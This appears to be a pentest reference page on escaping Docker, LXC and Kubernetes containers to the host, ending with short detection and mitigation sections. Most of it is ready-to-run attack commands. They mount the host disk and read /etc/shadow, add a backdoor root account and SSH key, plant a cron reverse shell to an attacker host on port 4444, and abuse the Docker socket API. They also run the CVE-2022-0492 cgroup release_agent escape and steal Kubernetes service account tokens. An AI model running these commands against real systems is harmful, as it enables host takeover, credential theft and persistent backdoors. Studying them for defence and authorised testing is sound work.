Container Breakout

Overview

Container breakout escapes from a Docker, LXC, or Kubernetes container to the underlying host system. Containers share the host kernel and rely on namespaces, cgroups, and capabilities for isolation. Misconfigurations — running as privileged, mounting the Docker socket, excessive capabilities, or host filesystem mounts — break this isolation and allow access to the host.

ATT&CK Mapping

  • Tactic: TA0004 - Privilege Escalation
  • Technique: T1611 - Escape to Host

Prerequisites

  • Shell access inside a container
  • Container misconfiguration (privileged mode, socket mount, host PID, etc.)

Techniques

Detection: Am I in a Container?

# Docker indicators
ls /.dockerenv 2>/dev/null && echo "Docker container detected"
cat /proc/1/cgroup 2>/dev/null | grep -i docker

# LXC/LXD indicators
cat /proc/1/cgroup 2>/dev/null | grep -i lxc
cat /proc/1/environ 2>/dev/null | tr '\0' '\n' | grep -i container

# Kubernetes indicators
env | grep -i kubernetes
ls /var/run/secrets/kubernetes.io/ 2>/dev/null

# Generic container indicators
cat /proc/1/cgroup 2>/dev/null | grep -qE 'docker|lxc|kubepods|containerd' && echo "Container"

# Very few processes (containers typically run 1-5 processes)
ps aux | wc -l

# Hostname is often a container ID (12-char hex)
hostname

Privileged Container Escape

A privileged container (docker run --privileged) has full access to host devices and can mount the host filesystem:

# Check if running in privileged mode
ip link add dummy0 type dummy 2>/dev/null && echo "Privileged" && ip link delete dummy0
# Or check capabilities
cat /proc/1/status | grep CapEff
# CapEff: 0000003fffffffff = all capabilities = privileged

# Mount the host filesystem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Access host filesystem
ls /mnt/host/root/
cat /mnt/host/etc/shadow

# Add SSH key to host root
mkdir -p /mnt/host/root/.ssh
echo '<your_public_key>' >> /mnt/host/root/.ssh/authorized_keys

# Or add a root user to host /etc/passwd
echo 'backdoor:$1$salt$hash:0:0:root:/root:/bin/bash' >> /mnt/host/etc/passwd

# Or write a cron job on the host
echo '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/<attacker>/4444 0>&1"' >> /mnt/host/etc/cron.d/backdoor

Docker Socket Escape

If the Docker socket is mounted inside the container (-v /var/run/docker.sock:/var/run/docker.sock):

# Check for Docker socket
ls -la /var/run/docker.sock 2>/dev/null

# If docker CLI is available
docker images
docker ps

# Run a new privileged container with host filesystem mounted
docker run -v /:/mnt/host --privileged -it alpine chroot /mnt/host sh

# If docker CLI is not available, use curl to interact with the socket
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | python3 -m json.tool

# Create a container with host mount via API
curl -s --unix-socket /var/run/docker.sock \
  -X POST http://localhost/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/mnt/host"],"Privileged":true}'

Host PID Namespace Escape

If the container shares the host PID namespace (--pid=host):

# Check if host processes are visible
ps aux | wc -l
# If hundreds of processes are visible, host PID namespace is shared

# Access host process environment variables (may contain secrets)
cat /proc/1/environ 2>/dev/null | tr '\0' '\n'

# If nsenter is available, enter the host namespace
nsenter -t 1 -m -u -i -n -p -- /bin/bash

Capabilities-Based Escape

Containers with dangerous capabilities can escape:

# Check container capabilities
cat /proc/1/status | grep Cap
capsh --decode=<CapEff_hex_value>

# CAP_SYS_ADMIN — mount host filesystem
mount /dev/sda1 /mnt/host

# CAP_SYS_PTRACE — inject into host processes (if --pid=host)
# Use process injection on a host root process

# CAP_SYS_MODULE — load kernel module
# Kernel modules affect the host kernel, not just the container

cgroup Escape (CVE-2022-0492)

The cgroup release_agent mechanism can execute commands on the host:

# Requires: CAP_SYS_ADMIN or cgroup v1 writable

# Create a cgroup
mkdir /tmp/cgroup
mount -t cgroup -o rdma cgroup /tmp/cgroup 2>/dev/null || mount -t cgroup -o memory cgroup /tmp/cgroup
mkdir /tmp/cgroup/escape

# Set release_agent to execute a command on the host
echo 1 > /tmp/cgroup/escape/notify_on_release
host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgroup/release_agent

# Create the command to execute on the host
echo '#!/bin/sh' > /cmd
echo 'cat /etc/shadow > /output' >> /cmd
chmod +x /cmd

# Trigger the release_agent
sh -c "echo \$\$ > /tmp/cgroup/escape/cgroup.procs"

# Read the output
cat /output

Kubernetes-Specific Breakouts

# Check service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# Set up kubectl with the service account
export KUBE_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export KUBE_CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
export KUBE_NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

# Check permissions
curl -s https://kubernetes.default.svc/api/v1/namespaces/$KUBE_NS/pods \
  --header "Authorization: Bearer $KUBE_TOKEN" \
  --cacert $KUBE_CA

# If the service account can create pods, deploy a privileged pod
# with host filesystem access to escape

Detection Methods

Network-Based Detection

  • Container-to-host communications on Docker API (TCP 2375/2376)
  • New containers spawned from within existing containers

Host-Based Detection

  • Monitor Docker socket access from within containers
  • Alert on new mounts of host devices (/dev/sda*) from container processes
  • Monitor for nsenter or chroot execution targeting PID 1
  • Alert on new privileged containers being created
  • Monitor cgroup release_agent modifications

Mitigation Strategies

  • Never run privileged containers — use specific capabilities instead of --privileged
  • Do not mount the Docker socket — if required, use a read-only proxy
  • Drop all capabilities — add only what the application needs: --cap-drop ALL --cap-add NET_BIND_SERVICE
  • Use read-only root filesystem--read-only flag
  • Do not share host namespaces — avoid --pid=host, --network=host, --ipc=host
  • Use seccomp and AppArmor profiles — restrict available syscalls
  • Run as non-root--user 1000:1000 or USER directive in Dockerfile

References

CVE References

Official Documentation

Pentest Guides & Research

MITRE ATT&CK